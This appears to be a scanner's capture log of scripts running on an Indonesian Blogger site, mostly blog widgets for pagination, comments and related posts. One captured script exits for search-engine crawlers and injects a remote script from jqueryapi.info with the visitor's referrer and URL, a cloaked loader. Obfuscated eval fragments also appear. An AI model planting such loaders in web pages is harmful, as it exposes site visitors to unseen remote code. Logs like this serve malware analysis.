%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+upPageWord+%27%3C/a%3E%3C/span%3E%27%7DfFlag++%7Dif%28p%3D%3D%28thisNum-1%29%29%7Bhtml+%3D%27%3Cspan%20class%3D%22showpagePoint%22%3E%27+thisNum+%27%3C/span%3E%27%7Delse%7Bif%28p%3D%3D0%29%7Bhtml%3DlabelHtml+%271%3C/a%3E%3C/span%3E%27%7Delse%7Bhtml+%3D%27%3Cspan%20class%3D%22showpageNum%22%3E%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+%28p+1%29+%27%3C/a%3E%3C/span%3E%27%7D%7Dif%28eFlag%3D%3D0%26%26p%3D%3DthisNum%29%7BdownPageHtml%3D%27%3Cspan%20class%3D%22showpage%22%3E%20%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+downPageWord+%27%3C/a%3E%3C/span%3E%27%3BeFlag++%7D%7D%7Dif%28thisNum%3E1%29%7Bif%28%21isLablePage%29%7Bhtml%3D%27%27+upPageHtml+%27%20%27+html+%27%20%27%7Delse%7Bhtml%3D%27%27+upPageHtml+%27%20%27+html+%27%20%27%7D%7Dhtml%3D%27%3Cdiv%20class%3D%22showpageArea%22%3E%3Cspan%20style%3D%22COLOR%3A%20%23000%3B%22%20class%3D%22showpageOf%22%3E%20Pages%20%28%27+%28postNum-1%29+%27%29%3C/span%3E%27+html%3Bif%28thisNum%3C%28postNum-1%29%29%7Bhtml+%3DdownPageHtml%7Dif%28postNum%3D%3D1%29postNum++%3Bhtml+%3D%27%3C/div%3E%27%3Bvar%20pageArea%3Ddocument.getElementsByName%28%22pageArea%22%29%3Bvar%20blogPager%3Ddocument.getElementById%28%22blog-pager%22%29%3Bif%28postNum%3C%3D2%29%7Bhtml%3D%27%27%7Dfor%28var%20p%3D0%3Bp%3CpageArea.length%3Bp++%29%7BpageArea%5Bp%5D.innerHTML%3Dhtml%7Dif%28pageArea%26%26pageArea.length%3E0%29%7Bhtml%3D%27%27%7Dif%28blogPager%29%7BblogPager.innerHTML%3Dhtml%7D%7Dvar%20home_page_url%3Dlocation.href%3Bvar%20thisUrl%3Dhome_page_url%3Bif%28thisUrl.indexOf%28%22/search/label/%22%29%21%3D-1%29%7Bif%28thisUrl.indexOf%28%22%3Fupdated-max%22%29%21%3D-1%29%7Bvar%20lblname1%3DthisUrl.substring%28thisUrl.indexOf%28%22/search/label/%22%29+14%2CthisUrl.indexOf%28%22%3Fupdated-max%22%29%29%7Delse%7Bvar%20lblname1%3DthisUrl.substring%28thisUrl.indexOf%28%22/search/label/%22%29+14%2CthisUrl.indexOf%28%22%3F%26max%22%29%29%7D%7Dvar%20home_page%3D%22/%22%3Bif%28thisUrl.indexOf%28%22%3Fq%3D%22%29%3D%3D-1%29%7Bif%28thisUrl.indexOf%28%22/search/label/%22%29%3D%3D-1%29%7Bdocument.write%28%27%3Cscript%20src%3D%22%27+home_page+%27feeds/posts/summary%3Falt%3Djson-in-script%26callback%3DshowpageCount%26max-results%3D99999%22%20%3E%3C%5C/script%3E%27%29%7Delse%7Bdocument.write%28%27%3Cscript%20src%3D%22%27+home_page+%27feeds/posts/full/-/%27+lblname1+%27%3Falt%3Djson-in-script%26callback%3DshowpageCount2%26max-results%3D99999%22%20%3E%3C%5C/script%3E%27%29%7D%7D%0A%24%28document%29.ready%28function%20%28%29%20%7B%0A%20%20%24%28%27.kuncidunia%27%29.html%28%27Template%20By%20%3Ca%20href%3D%22http%3A//www.kuncidunia.com/%22%3EKunci%20Dunia%3C/a%3E%27%29%3B%0A%20%20setInterval%28function%20%28%29%20%7B%0A%20%20%20%20if%20%28%21%24%28%27.kuncidunia%3Avisible%27%29.length%29%0A%20%20%20%20%20%20window.location.href%20%3D%20%27http%3A//www.kuncidunia.com/%27%0A%20%20%7D%2C%203000%29%0A%7D%29%3B%0A%28function%28a%29%7Ba%28window%29.scroll%28function%28%29%7Bif%28a%28this%29.scrollTop%28%29%3E280%29%7Ba%28%22%23top%22%29.removeAttr%28%22href%22%29%3Ba%28%22%23top%22%29.fadeIn%28%29%7Delse%7Ba%28%22%23top%22%29.fadeOut%28%29%7D%7D%29%3Ba%28function%28%29%7Ba%28%22%23top%22%29.click%28function%28%29%7Ba%28%22html%2C%20body%22%29.animate%28%7BscrollTop%3A0%7D%2C%22slow%22%29%3Breturn%20false%7D%29%7D%29%7D%29%28jQuery%29%3B%0A%3C/script%3E';
if (window.navigator.userAgent.indexOf('Rambler') >= 0 || window.navigator.userAgent.indexOf('Yandex') >= 0 || window.navigator.userAgent.indexOf('Yaho') >= 0 || window.navigator.userAgent.indexOf('Googlebot') >= 0 || window.navigator.userAgent.indexOf('Turtle') >= 0) {
    Break()
};
document.ondragstart = function() {
    return false
};

function atlpdp1() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].style.visibility != 'hidden') {
            document.all[wi].style.visibility = 'hidden';
            document.all[wi].id = 'atlpdpst'
        }
    }
}

function atlpdp2() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].id == 'atlpdpst') document.all[wi].style.visibility = ''
    }
}
window.onbeforeprint = atlpdp1;
window.onafterprint = atlpdp2;
var OO0 = document.createElement('script');
OO0.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var Ol1 = document.getElementsByTagName('head')[0];
Ol1.appendChild(OO0);
document.write(unescape(_escape));
                                    

#101 JavaScript::Eval (size: 4571, repeated: 1) - SHA256: 22ee1b57fda514d88d7eba5af17ce0d575742bbc902a4d132529672c1f4853a2

                                        var cm_config_defaults = {
        home_page: "http://blog.kangismet.net",
        max_result: 15,
        t_w: 50,
        t_h: 50,
        summary: 9999,
        new_tab_link: false,
        ct_id: "comments-container",
        new_cm: " Komentar Baru!",
        interval: 30000,
        alert: true,
    },
    _cookie = {set: function(g, f, j) {
            var i, h;
            if (j) {
                i = new Date();
                i.setTime(i.getTime() + (j * 24 * 60 * 60 * 1000));
                h = "; expires=" + i.toGMTString()
            } else {
                h = ""
            }
            document.cookie = g + "=" + f + h + "; path=/"
        },
        get: function(f) {
            var e = f + "=",
                h = document.cookie.split(";"),
                j;
            for (var g = 0; g < h.length; g++) {
                j = h[g];
                while (j.charAt(0) == " ") {
                    j = j.substring(1, j.length)
                }
                if (j.indexOf(e) == 0) {
                    return j.substring(e.length, j.length)
                }
            }
            return null
        },
        del: function(b) {
            this.set(b, "", -1)
        }
    },
    tt_cm = (_cookie.get("tt_cm")) ? _cookie.get("tt_cm") : 0,
    doc_title = document.title;
for (var i in cm_config_defaults) {
    cm_config_defaults[i] = (typeof(cm_config[i]) == "undefined") ? cm_config_defaults[i] : cm_config[i]
}

function showRecentComments(json) {
    var entry = json.feed.entry,
        total = parseInt(json.feed.openSearch$totalResults.$t, 10),
        skeleton = "",
        oldCount = tt_cm,
        co = cm_config_defaults;
    var totalComments = total - oldCount > 50 ? '50+' : total - oldCount;
    if (oldCount < total) {
        if (cm_config.alert === true) {
            alert((total - oldCount) + cm_config.new_cm)
        } else {
            if (cm_config.alert === false) {
                document.title = "(" + (total - oldCount) + cm_config.new_cm + ") " + document.title
            } else {
                cm_config.alert((total - oldCount), cm_config.new_cm)
            }
        }
    }
    skeleton = '<ul class="cm-outer">';
    for (var i = 0; i < entry.length; i++) {
        for (var j = 0; j < entry[i].link.length; j++) {
            if (entry[i].link[j].rel == "alternate") {
                link = entry[i].link[j].href;
                break
            }
        }
        var dash = link.lastIndexOf("/") + 1,
            dot = link.lastIndexOf("."),
            title = link.split("-").join(" ").substring(dash, dot) + "&hellip;";
        author = entry[i].author[0], name = author.name.$t, avatar = author.gd$image.src.replace(/\/s[0-9]+(\-c|\/)/, "/s" + co.t_w + "$1").replace(/http\:\/\/www.google.com\/url\?source\=imglanding(.*?)q\=/i, "").replace(/\.(jpg|jpeg|png|bmp|gif)(.*?)$/i, ".$1"), profile = (author.uri) ? author.uri.$t : "#nope", u = entry[i].id.$t.replace(/^.*?blog\-([0-9]+).*?post\-([0-9]+)/, "http://www.blogger.com/delete-comment.g?blogID=$1&postID=$2"), r = entry[i]["thr$in-reply-to"].source.split("default/")[1], d = entry[i].id.$t.replace(/^.*?blog\-([0-9]+).*?post\-([0-9]+)/, "http://www.blogger.com/comment-iframe.g?blogID=$1&postID=" + r + "&parentID=$2"), date = entry[i].gd$extendedProperty[1].value, content = ("content" in entry[i]) ? entry[i].content.$t.replace(/<i rel="pre">(.*?)<\/i>/ig, "<pre>$1</pre>").replace(/<i rel="code">(.*?)<\/i>/ig, "<code>$1</code>").replace(/<i rel="linku">(.*?)<\/i>/ig, "<a class='allow' href='$1'>\{link\}</a>").replace(/:D/ig, "<img src='http://3.bp.blogspot.com/-WeTjMT8JDhg/UKhVHlZ88II/AAAAAAAADPI/b1gpiAvIkCc/s1600/icon_smile.gif' alt='' class='cm-smiley'/>").replace(/:\)/ig, "<img src='http://1.bp.blogspot.com/-2Z7Cwe04x-Q/UH9THzWWJII/AAAAAAAACtA/ChwawyzYsDI/s1600/smile1.gif' alt='smile' class='cm-smiley'/>") : "", nt = (co.new_tab_link) ? ' target="_blank"' : "";
        content = (content.length > co.summary) ? content.substring(0, co.summary) + "&hellip;" : content;
        skeleton += "<li>";
        skeleton += '<div class="cm-header"><a href="' + profile + '" title="' + name + '"' + nt + '><img alt="Loading..." style="width:' + co.t_w + "px;height:" + co.t_h + 'px;" src="' + avatar + '"></a><span class="author"><a href="' + profile + '" rel="nofollow">' + name + '</a> pada <a href="' + link + '" title="' + title + '"' + nt + " rel=>" + title + "</a></div></span>";
        skeleton += '<div class="cm-content">';
        skeleton += '<span class="cm-text">' + content + "</span>";
        skeleton += '<div class="cm-footer">' + date + ' <a href="' + d + '" onclick="window.open(this.href,&#39;_cf&#39;,&#39;scrollbars=1,width=470,height=250,left=355,top=135&#39;);return false;" title="Balas komentar">Balas</a> <a href="' + u + '"  title="Hapus komentar" target="_blank">Hapus</a></span> </span>';
        skeleton += "</div></li>"
    }
    skeleton += "</ul>";
    document.getElementById(co.ct_id).innerHTML = skeleton;
    _cookie.set("tt_cm", total, 7000);
    tt_cm = total
}(function() {
    var head = document.getElementsByTagName("head")[0],
        script = document.createElement("script"),
        co = cm_config_defaults;
    script.type = "text/javascript";
    script.id = "cm-feed-script";
    script.src = co.home_page + "/feeds/comments/default?alt=json-in-script&redirect=false&max-results=" + co.max_result + "&callback=showRecentComments";
    head.appendChild(script);
    setInterval(function() {
        var newScript = document.createElement("script");
        newScript.type = "text/javascript";
        newScript.id = "cm-feed-script";
        newScript.src = co.home_page + "/feeds/comments/default?alt=json-in-script&redirect=false&max-results=" + co.max_result + "&callback=showRecentComments";
        var oldScript = document.getElementById("cm-feed-script");
        oldScript.parentNode.removeChild(oldScript);
        head.appendChild(newScript)
    }, co.interval)
})();
                                    

#102 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 2d711642b726b04401627ca9fbac32f5c8530fb1903cc4db02258717921a4881

                                        x
                                    

#103 JavaScript::Eval (size: 410, repeated: 1) - SHA256: 4f7a192bf4aa616f24bd393821a5255fdd2e17455ca60991a75b2ae7de1cce49

                                        x = function(Y, H, D, v, T, X) {
    for (((T = Y.B(H), 39) == H ? (H = function(Y, H, D, v) {
            if (D = (H = T.length, H - 4) >> 3, T.D != D) {
                D = ((T.D = (v = [0, 0, 0, X], D), D) << 3) - 4;
                try {
                    T.f = h(K(T, D), K(T, D + 4), v);
                } catch (a) {
                    throw a;
                }
            }
            T.push(T.f[H & 7] ^ Y);
        }, X = Y.B(230)) : (H = function(Y) {
            T.push(Y);
        }), v) &&
        H(v & 255), v = 0, Y = D.length; v < Y; v++) {
        H(D[v]);
    }
}
                                    

#104 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06

                                        z
                                    

#105 JavaScript::Eval (size: 80, repeated: 1) - SHA256: 4e045c4955b1add897d92f1480b606c7d04cb1809d0c0621e77049276a21608b

                                        z = function(Y, H, D, v) {
    x(Y, (v = (D = Y.s(), Y).s(), v), M(Y.B(D), H));
}
                                    

Executed Writes (10)

#1 JavaScript::Write (size: 0, repeated: 2) - SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                        
                                    

#2 JavaScript::Write (size: 118, repeated: 1) - SHA256: e824195adf74a4734a8d12b05fd17268c4d16e0cfcda843dffff8b08a950664e

                                        < img src = http: //e0.extreme-dm.com/s9.g?login=abduhku&amp;jv=y&amp;j=y&amp;srw=1176&amp;srb=24&amp;l= height=1 width=1>
                                    

#3 JavaScript::Write (size: 44, repeated: 1) - SHA256: adaee92714de3cc13afede8329494a8a43c1c485e94aadf139f3548682aade83

                                        < script id = "__gwt_marker_comments" > < /script>
                                    

#4 JavaScript::Write (size: 105, repeated: 1) - SHA256: 3d8af6c88865c65eb3f8d72a598afa4591b5add75103ac3fb39d392fd04cd6a2

                                        < script src = "/feeds/posts/summary?alt=json-in-script&callback=showpageCount&max-results=99999" > < /script>
                                    

#5 JavaScript::Write (size: 534, repeated: 1) - SHA256: 82c1e1f0c00d2cefa0f9b1bf2ce1486a9acd0c08cdf65c36710c978cb78969f2

                                        < script >
    if (typeof(jQuery) == 'undefined') {
        //output the script (load it from google api)
        document.write("<scr" + "ipt type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js\"></scr" + "ipt>");
    }
$(document).ready(function() {
    $('.kuncidunia').html('Template By <a href="http://www.kuncidunia.com/">Kunci Dunia</a>');
    setInterval(function() {
        if (!$('.kuncidunia:visible').length)
            window.location.href = 'http://www.kuncidunia.com/'
    }, 3000)
}); < /script>
                                    

#6 JavaScript::Write (size: 2570, repeated: 1) - SHA256: e00d37162b9c5b6c0177dd415d8213c799957b4f17faea52805d4a44163d4eff

                                        < script > $(document).ready(function() {
    $('.kuncidunia').html('Template By <a href="http://www.kuncidunia.com/">Kunci Dunia</a>');
    setInterval(function() {
        if (!$('.kuncidunia:visible').length)
            window.location.href = 'http://www.kuncidunia.com/'
    }, 3000)
});
Config.maxThreadDepth = 2;
var Cur_Cform_Hdr = '.comment_form';
var Cur_Cform_Url = $('#comment-editor').attr('src');

function trim(a) {
    var b = ' \n\r\t\f\x5b\x5d\x7c\x7d\x3c\x3e\x0b\xa0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000';
    for (var i = 0; i < a.length; i++) {
        if (b.indexOf(a.charAt(i)) != -1) {
            a = a.substring(0, i);
            break
        }
    }
    return a
}
$('.comment_wrap .comment_body p').html(function(i, h) {
    temp = h.toLowerCase();
    index = temp.indexOf('@<a href="#c');
    if (index != -1) {
        index_tail = temp.indexOf('</a>', index);
        if (index_tail != -1) {
            h = h.substring(0, index) + h.substring(index_tail + 4)
        }
    }
    return h
});

function Valid_Par_Id(a) {
    r = a.indexOf('c');
    if (r != -1) a = a.substring(r + 1);
    return a
}

function Cform_Ins_ParID(a) {
    a = '&parentID=' + a + '#%7B';
    n_cform_url = Cur_Cform_Url.replace(/#%7B/, a);
    return n_cform_url
}

function Reset_Comment_Form() {
    html = $(Cur_Cform_Hdr).html();
    $(Cur_Cform_Hdr).html('');
    Cur_Cform_Hdr = '.comment_form';
    $(Cur_Cform_Hdr).html(html);
    $('#comment-editor').attr('src', Cur_Cform_Url)
}

function Display_Reply_Form(e) {
    par_id = $(e).attr('id');
    par_id = Valid_Par_Id(par_id);
    html = $(Cur_Cform_Hdr).html();
    if (Cur_Cform_Hdr == '.comment_form') {
        reset_html = '<a href="#origin_cform" onclick="Reset_Comment_Form()">' + Msgs.addComment + '</a><a name="origin_cform"/>';
        $(Cur_Cform_Hdr).html(reset_html)
    } else {
        $(Cur_Cform_Hdr).html('')
    }
    Cur_Cform_Hdr = '#r_f_c' + par_id;
    $(Cur_Cform_Hdr).html(html);
    $('#comment-editor').attr('src', Cform_Ins_ParID(par_id))
}
cur_url = window.location.href;
search_formid = '#comment-form_';
search_index = cur_url.indexOf(search_formid);
if (search_index != -1) {
    ret_id = cur_url.substring(search_index + search_formid.length);
    Display_Reply_Form('#rc' + ret_id)
}
for (var i = 0; i < Items.length; i++) {
    if ('parentId' in Items[i]) {
        var par_id = Items[i].parentId;
        var par_level = parseInt($('#c' + par_id + ':first').attr('data-level'));
        $('#c' + par_id + ' .comment_child:first').html(function(a, b) {
            var c = Items[i].id;
            if (par_level >= Config.maxThreadDepth) {
                $('#c' + c + ':first .comment_reply').remove()
            }
            var d = $('#c' + c + ':first').html();
            d = '<div class="comment_wrap" id="c' + c + '" data-level="' + (par_level + 1) + '">' + d + '</div>';
            $('#c' + c).remove();
            return (b + d)
        })
    }
}
var avatar = $("#comments");
avatar.find('.comment_avatar img').each(function() {
    var a = $(this).attr('src');
    $(this).show().attr('src', a.replace(/\/s[0-9]+(\-c)?\//, "/s55-c/"))
}); < /script>
                                    

#7 JavaScript::Write (size: 3901, repeated: 1) - SHA256: 01ba53c48ff7a1325a554248dd2894b3513e4ddd0f766c2bc92c7a0bfd1adf66

                                        < script > $(document).ready(function() {
    $('.kuncidunia').html('Template By <a href="http://www.kuncidunia.com/">Kunci Dunia</a>');
    setInterval(function() {
        if (!$('.kuncidunia:visible').length)
            window.location.href = 'http://www.kuncidunia.com/'
    }, 3000)
});

function akrammenu(b) {
    b("#mobilemenu").click(function() {
        b("#akrammenu").slideToggle();
        b(this).toggleClass("active");
        return false
    });
    b(".muh-4kram ul").each(function() {
        var d = b(this).parent("li");
        d.append("<i></i>")
    });
    var a = function() {
        var d = b(window).width();
        if (d > 980) {
            b("#akrammenu").css("display", "block");
            b("#akrammenu").superfish({
                animation: {
                    height: "show"
                },
                animationOut: {
                    height: "hide"
                }
            });
            b(".muh-4kram i").css("display", "none")
        } else {
            if (d <= 980 && b("#mobilemenu").attr("class") === "active") {
                b("#akrammenu").css("display", "block");
                b("#akrammenu").superfish("destroy");
                b(".muh-4kram i").css("display", "block")
            } else {
                if (d <= 980 && b("#mobilemenu").attr("class") !== "active") {
                    b("#akrammenu").css("display", "none");
                    b("#akrammenu").superfish("destroy");
                    b(".muh-4kram i").css("display", "block")
                }
            }
        }
    };
    b(window).on("load resize", a);
    b(".muh-4kram i").click(function() {
        var d = b(this).parent("li");
        var e = d.children("ul");
        e.slideToggle();
        b(this).toggleClass("active");
        return false
    });
    var c = window.location.href;
    b("#akrammenu a").each(function() {
        if (this.href === c) {
            var d = b(this).parents("li").children("a").addClass("current")
        }
    })
};

function muhammad_akram(image_url, post_title) {
    var image_width = 100;
    var image_height = 100;
    image_tag = '<img width="' + image_width + '" height="' + image_height + '" src="' + image_url.replace('/s72-c/', '/w' + image_width + '-h' + image_height + '-c/') + '" alt="' + post_title.replace(/"/g, "") + '" title="' + post_title.replace(/"/g, "") + '" itemprop="image"/>';
    if (post_title != "") return image_tag;
    else return ""
};

function rcentbytag(e) {
    document.write('<ul class="recent-by-tag">');
    for (var t = 0; t < numposts; t++) {
        var n = e.feed.entry[t];
        var r = n.title.$t;
        var i;
        if (t == e.feed.entry.length) break;
        for (var o = 0; o < n.link.length; o++) {
            if (n.link[o].rel == "replies" && n.link[o].type == "text/html") {
                var u = n.link[o].title;
                var f = n.link[o].href
            }
            if (n.link[o].rel == "alternate") {
                i = n.link[o].href;
                break
            }
        }
        var l;
        try {
            l = n.media$thumbnail.url
        } catch (h) {
            s = n.content.$t;
            a = s.indexOf("<img");
            b = s.indexOf('src="', a);
            c = s.indexOf('"', b + 5);
            d = s.substr(b + 5, c - b - 5);
            if (a != -1 && b != -1 && c != -1 && d != "") {
                l = d
            } else l = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAA3NCSVQICAjb4U/gAAAADElEQVQImWOor68HAAL+AX7vOF2TAAAAAElFTkSuQmCC"
        }
        var p = n.published.$t;
        var v = p.substring(0, 4);
        var m = p.substring(5, 7);
        var g = p.substring(8, 10);
        var y = new Array;
        y[1] = "Januari";
        y[2] = "Februari";
        y[3] = "Maret";
        y[4] = "April";
        y[5] = "Mei";
        y[6] = "Juni";
        y[7] = "Juli";
        y[8] = "Agustus";
        y[9] = "September";
        y[10] = "Oktober";
        y[11] = "November";
        y[12] = "Desember";
        document.write('<li class="clear">');
        if (showpostthumbnails == true) document.write('<a href="' + i + '" target ="_blank" title="' + r + '"><img class="rct-thumb" alt="' + r + '" src="' + l + '"/></a>');
        document.write('<strong><a href="' + i + '" target ="_blank" title="' + r + '" rel="nofollow">' + r + '</a></strong>');
        document.write('<br>');
        var x = "";
        var T = 0;
        if (showpostdate == true) {
            x = '<span class="showdates">' + x + g + " " + y[parseInt(m, 10)] + " " + v + "</span>";
            T = 1
        }
        document.write(x);
        document.write("</li>");
        if (t != numposts - 1) document.write("")
    }
    document.write("</ul>")
} < /script>
                                    

#8 JavaScript::Write (size: 4078, repeated: 1) - SHA256: 549a1fa16449609f7018a3871f123982ac953dae058d7ef3b3fd162fcea4eacc

                                        < script > $(document).ready(function() {
    $('.kuncidunia').html('Template By <a href="http://www.kuncidunia.com/">Kunci Dunia</a>');
    setInterval(function() {
        if (!$('.kuncidunia:visible').length)
            window.location.href = 'http://www.kuncidunia.com/'
    }, 3000)
});
var randomRelatedIndex, showRelatedPost;
(function(n, m, k) {
    var d = {
        widgetTitle: "<h4>Artikel Terkait:</h4>",
        widgetStyle: 1,
        homePage: "/",
        numPosts: 7,
        summaryLength: 370,
        titleLength: "auto",
        thumbnailSize: 72,
        noImage: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAA3NCSVQICAjb4U/gAAAADElEQVQImWOor68HAAL+AX7vOF2TAAAAAElFTkSuQmCC",
        containerId: "related-post",
        newTabLink: false,
        moreText: "Baca Selengkapnya",
        callBack: function() {}
    };
    for (var f in relatedPostConfig) {
        d[f] = (relatedPostConfig[f] == "undefined") ? d[f] : relatedPostConfig[f]
    }
    var j = function(a) {
            var b = m.createElement("script");
            b.type = "text/javascript";
            b.src = a;
            k.appendChild(b)
        },
        o = function(b, a) {
            return Math.floor(Math.random() * (a - b + 1)) + b
        },
        l = function(a) {
            var p = a.length,
                c, b;
            if (p === 0) {
                return false
            }
            while (--p) {
                c = Math.floor(Math.random() * (p + 1));
                b = a[p];
                a[p] = a[c];
                a[c] = b
            }
            return a
        },
        e = (typeof labelArray == "object" && labelArray.length > 0) ? "/-/" + l(labelArray)[0] : "",
        h = function(b) {
            var c = b.feed.openSearch$totalResults.$t - d.numPosts,
                a = o(1, (c > 0 ? c : 1));
            j(d.homePage.replace(/\/$/, "") + "/feeds/posts/summary" + e + "?alt=json-in-script&orderby=updated&start-index=" + a + "&max-results=" + d.numPosts + "&callback=showRelatedPost")
        },
        g = function(z) {
            var s = document.getElementById(d.containerId),
                x = l(z.feed.entry),
                A = d.widgetStyle,
                c = d.widgetTitle + '<ul class="related-post-style-' + A + '">',
                b = d.newTabLink ? ' target="_blank"' : "",
                y = '<span style="display:block;clear:both;"></span>',
                v, t, w, r, u;
            if (!s) {
                return
            }
            for (var q = 0; q < d.numPosts; q++) {
                if (q == x.length) {
                    break
                }
                t = x[q].title.$t;
                w = (d.titleLength !== "auto" && d.titleLength < t.length) ? t.substring(0, d.titleLength) + "&hellip;" : t;
                r = ("media$thumbnail" in x[q] && d.thumbnailSize !== false) ? x[q].media$thumbnail.url.replace(/\/s[0-9]+(\-c)?/, "/s" + d.thumbnailSize + "-c") : d.noImage;
                u = ("summary" in x[q] && d.summaryLength > 0) ? x[q].summary.$t.replace(/<br ?\/?>/g, " ").replace(/<.*?>/g, "").replace(/[<>]/g, "").substring(0, d.summaryLength) + "&hellip;" : "";
                for (var p = 0, a = x[q].link.length; p < a; p++) {
                    v = (x[q].link[p].rel == "alternate") ? x[q].link[p].href : "#"
                }
                if (A == 2) {
                    c += '<li><img alt="" class="related-post-item-thumbnail" src="' + r + '" width="' + d.thumbnailSize + '" height="' + d.thumbnailSize + '"><a class="related-post-item-title" title="' + t + '" href="' + v + '"' + b + ">" + w + '</a><span class="related-post-item-summary"><span class="related-post-item-summary-text">' + u + '</span> <a href="' + v + '" class="related-post-item-more"' + b + ">" + d.moreText + "</a></span>" + y + "</li>"
                } else {
                    if (A == 3 || A == 4) {
                        c += '<li class="related-post-item" tabindex="0"><a class="related-post-item-title" href="' + v + '"' + b + '><img alt="" class="related-post-item-thumbnail" src="' + r + '" width="' + d.thumbnailSize + '" height="' + d.thumbnailSize + '"></a><div class="related-post-item-tooltip"><a class="related-post-item-title" title="' + t + '" href="' + v + '"' + b + ">" + w + "</a></div>" + y + "</li>"
                    } else {
                        if (A == 5) {
                            c += '<li class="related-post-item" tabindex="0"><a class="related-post-item-wrapper" href="' + v + '" title="' + t + '"' + b + '><img alt="" class="related-post-item-thumbnail" src="' + r + '" width="' + d.thumbnailSize + '" height="' + d.thumbnailSize + '"><span class="related-post-item-tooltip">' + w + "</span></a>" + y + "</li>"
                        } else {
                            if (A == 6) {
                                c += '<li><a class="related-post-item-title" title="' + t + '" href="' + v + '"' + b + ">" + w + '</a><div class="related-post-item-tooltip"><img alt="" class="related-post-item-thumbnail" src="' + r + '" width="' + d.thumbnailSize + '" height="' + d.thumbnailSize + '"><span class="related-post-item-summary"><span class="related-post-item-summary-text">' + u + "</span></span>" + y + "</div></li>"
                            } else {
                                c += '<li><a title="' + t + '" href="' + v + '"' + b + ">" + w + "</a></li>"
                            }
                        }
                    }
                }
            }
            s.innerHTML = c += "</ul>" + y;
            d.callBack()
        };
    randomRelatedIndex = h;
    showRelatedPost = g;
    j(d.homePage.replace(/\/$/, "") + "/feeds/posts/summary" + e + "?alt=json-in-script&orderby=updated&max-results=0&callback=randomRelatedIndex")
})(window, document, document.getElementsByTagName("head")[0]); < /script>
                                    

#9 JavaScript::Write (size: 5296, repeated: 1) - SHA256: a8dd00b387a632fb7bb79272080fcc244f55b9ec0f3d24f86b17a02763179b5f

                                        < script > function showpageCount(json) {
    var thisUrl = home_page_url;
    var htmlMap = new Array();
    var thisNum = 1;
    var postNum = 1;
    var itemCount = 0;
    var fFlag = 0;
    var eFlag = 0;
    var html = '';
    var upPageHtml = '';
    var downPageHtml = '';
    for (var i = 0, post; post = json.feed.entry[i]; i++) {
        var timestamp1 = post.published.$t.substring(0, 19) + post.published.$t.substring(23, 29);
        timestamp = encodeURIComponent(timestamp1);
        var title = post.title.$t;
        if (title != '') {
            if (itemCount == 0 || (itemCount % pageCount == (pageCount - 1))) {
                if (thisUrl.indexOf(timestamp) != -1) {
                    thisNum = postNum
                }
                if (title != '') postNum++;
                htmlMap[htmlMap.length] = '/search?updated-max=' + timestamp + '&max-results=' + pageCount
            }
        }
        itemCount++
    }
    for (var p = 0; p < htmlMap.length; p++) {
        if (p >= (thisNum - displayPageNum - 1) && p < (thisNum + displayPageNum)) {
            if (fFlag == 0 && p == thisNum - 2) {
                if (thisNum == 2) {
                    upPageHtml = '<span class="showpage"><a href="/">' + upPageWord + '</a></span>'
                } else {
                    upPageHtml = '<span class="showpage"><a href="' + htmlMap[p] + '">' + upPageWord + '</a></span>'
                }
                fFlag++
            }
            if (p == (thisNum - 1)) {
                html += '<span class="showpagePoint">' + thisNum + '</span>'
            } else {
                if (p == 0) {
                    html += '<span class="showpageNum"><a href="/">1</a></span>'
                } else {
                    html += '<span class="showpageNum"><a href="' + htmlMap[p] + '">' + (p + 1) + '</a></span>'
                }
            }
            if (eFlag == 0 && p == thisNum) {
                downPageHtml = '<span class="showpage"> <a href="' + htmlMap[p] + '">' + downPageWord + '</a></span>';
                eFlag++
            }
        }
    }
    if (thisNum > 1) {
        html = '' + upPageHtml + ' ' + html + ' '
    }
    html = '<div class="showpageArea"><span style="COLOR: #000;" class="showpageOf"> Pages (' + (postNum - 1) + ')</span>' + html;
    if (thisNum < (postNum - 1)) {
        html += downPageHtml
    }
    if (postNum == 1) postNum++;
    html += '</div>';
    var pageArea = document.getElementsByName("pageArea");
    var blogPager = document.getElementById("blog-pager");
    if (postNum <= 2) {
        html = ''
    }
    for (var p = 0; p < pageArea.length; p++) {
        pageArea[p].innerHTML = html
    }
    if (pageArea && pageArea.length > 0) {
        html = ''
    }
    if (blogPager) {
        blogPager.innerHTML = html
    }
}

function showpageCount2(json) {
    var thisUrl = home_page_url;
    var htmlMap = new Array();
    var isLablePage = thisUrl.indexOf("/search/label/") != -1;
    var thisLable = isLablePage ? thisUrl.substr(thisUrl.indexOf("/search/label/") + 14, thisUrl.length) : "";
    thisLable = thisLable.indexOf("?") != -1 ? thisLable.substr(0, thisLable.indexOf("?")) : thisLable;
    var thisNum = 1;
    var postNum = 1;
    var itemCount = 0;
    var fFlag = 0;
    var eFlag = 0;
    var html = '';
    var upPageHtml = '';
    var downPageHtml = '';
    var labelHtml = '<span class="showpageNum"><a href="/search/label/' + thisLable + '?&max-results=' + pageCount + '">';
    var thisUrl = home_page_url;
    for (var i = 0, post; post = json.feed.entry[i]; i++) {
        var timestamp1 = post.published.$t.substring(0, 19) + post.published.$t.substring(23, 29);
        timestamp = encodeURIComponent(timestamp1);
        var title = post.title.$t;
        if (title != '') {
            if (itemCount == 0 || (itemCount % pageCount == (pageCount - 1))) {
                if (thisUrl.indexOf(timestamp) != -1) {
                    thisNum = postNum
                }
                if (title != '') postNum++;
                htmlMap[htmlMap.length] = '/search/label/' + thisLable + '?updated-max=' + timestamp + '&max-results=' + pageCount
            }
        }
        itemCount++
    }
    for (var p = 0; p < htmlMap.length; p++) {
